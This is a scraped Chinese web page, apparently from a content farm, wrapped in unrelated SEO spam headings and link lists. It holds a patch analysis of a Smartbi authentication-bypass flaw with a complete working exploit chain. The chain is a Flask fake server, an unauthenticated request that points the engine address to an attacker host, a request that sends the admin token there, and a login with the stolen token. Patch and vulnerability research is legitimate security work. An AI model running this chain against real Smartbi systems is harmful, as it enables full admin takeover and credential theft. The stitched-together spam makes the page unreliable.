当前位置: 首页 > news >正文

做网站的去哪找私活手机百度网址大全

做网站的去哪找私活,手机百度网址大全,滑县网站建设,黄骅港港务集团前段时间#xff0c;Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞#xff0c;获取管理员token#xff0c;完全接管管理员权限。于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析#xff0c;得到如下漏洞复现步骤 第一步#xff0c;设…前段时间Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞获取管理员token完全接管管理员权限。于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析得到如下漏洞复现步骤 第一步设置EngineAddress为攻击者机器上的http服务地址 首先使用python flask搭建一个fake server上面只注册了/api/v1/configs/engine/smartbitoken接口该接口返回一个json响应体 from flask import Flask,jsonify,requestapp  Flask(__name__)app.route(/api/v1/configs/engine/smartbitoken,methods[POST]) def hello():print(request.json)return jsonify(hijello)if __name__  __main__:app.run(host0.0.0.0,port8000) 使用如下poc设置EngineAddress为我们的fake server地址http://10.52.32.43:8000 POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Connection: close Content-Length: 23http://10.52.32.43:8000 第二步触发smartbi向我们刚刚设置的EngineAddress外发token 发送如下请求 POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1 Host: 127.0.0.1:18080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Connection: close Content-Length: 10experiment 发送相关请求后即可在我们的fake server上面看到了携带token的请求 第三步使用上面获取的token进行登录 POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1 Host: 127.0.0.1:18080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Connection: close Content-Length: 47admin_I8ac3b2d10189e80fe80fea750189ed0084f50082 返回true表示登录成功其中的cookie就是合法的凭证 0x02分析过程 阅读相关补丁可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关 更进一步查看RejectSmartbixSetAddress类修补的方式可知与smartbix.datamining.service.MonitorService类的getToken方法有关该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。 分析smartbix.datamining.service.MonitorService类 从头部的注解可知该类下的所有路由都不需要认证即可访问 定位到getToken方法 该方法对应的路由的/token,方法内部生成一个token并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS 这意味着只要ENGINE_ADDRESS可控那么我们就能获取到一个合法的token由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法 可知该方法可以未授权配置ENGINE_ADDRESS 那意味着只需要调用/smartbix/api/monitor/setServiceAddress接口将ENGINE_ADDRESS设置为我们可控的伪造服务器那么就可以从请求报文中获取到token。这个位置经过尝试发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口并且响应内容为json) 获取完token后就可调用/smartbix/api/monitor/login方法进行登录 0x03其他说明 上述只说明了设置ENGINE_ADDRESS利用的情况设置SERVICE_ADDRESS进行利用的步骤也和上述类似
http://www.zqtcl.cn/news/581832/

相关文章:

  • 黑龙江网站建站建设知名品牌形象设计公司
  • 网站建设去哪可接单怎么做微信小程序平台
  • 做外贸重新设计网站兰州网站建设慕枫
  • 服装销售 网站建设论文搭建企业网站需要什么
  • cnnic网站备案html网站建设代码
  • 金华网站建设明细报价表c苏宁网站开发
  • 在手机上怎么做微电影网站湖南人工智能建站系统软件
  • 网站做的一样算侵权吗站群建站系统
  • 骨干专业建设验收网站xueui wordpress
  • 宁波高质量品牌网站设计厂家世界上有php应用的网站
  • 网站平台建设的重要性响应式网站切图
  • 近期做网站需要什么软件网站制作常见的问题
  • vs做的本地网站甘肃省建设厅门户网站
  • 网站建设合同义务wordpress m1
  • 青海省建设局网站首页wordpress模板建站教程视频
  • 演示 又一个wordpress站点静态页面加wordpress
  • 企业做淘宝客网站有哪些有网站吗给一个
  • 深圳网站制作公司信息之梦与wordpress哪个好用
  • 免费搭建商城网站山西制作网站公司排名
  • 网站开发免费中建建设银行网站
  • 301重定向到新网站在线建站
  • 曰本做爰l网站沙朗做网站公司
  • 广州网站设计智能 乐云践新专家wordpress 头像设置
  • 电子商务学网站建设好吗佛山市手机网站建设企业
  • 为企业做网站电话开场白小说网站的里面的搜索是怎么做的
  • 深圳市设计网站公司自己做网站开网店
  • 智能建站cms管理系统修改wordpress时区
  • 站长怎么添加网站内容重庆网站推
  • 东莞网站建设属于什么专业网页设计代码书
  • 网站后台代码在哪修改wordpress添加搜索小工具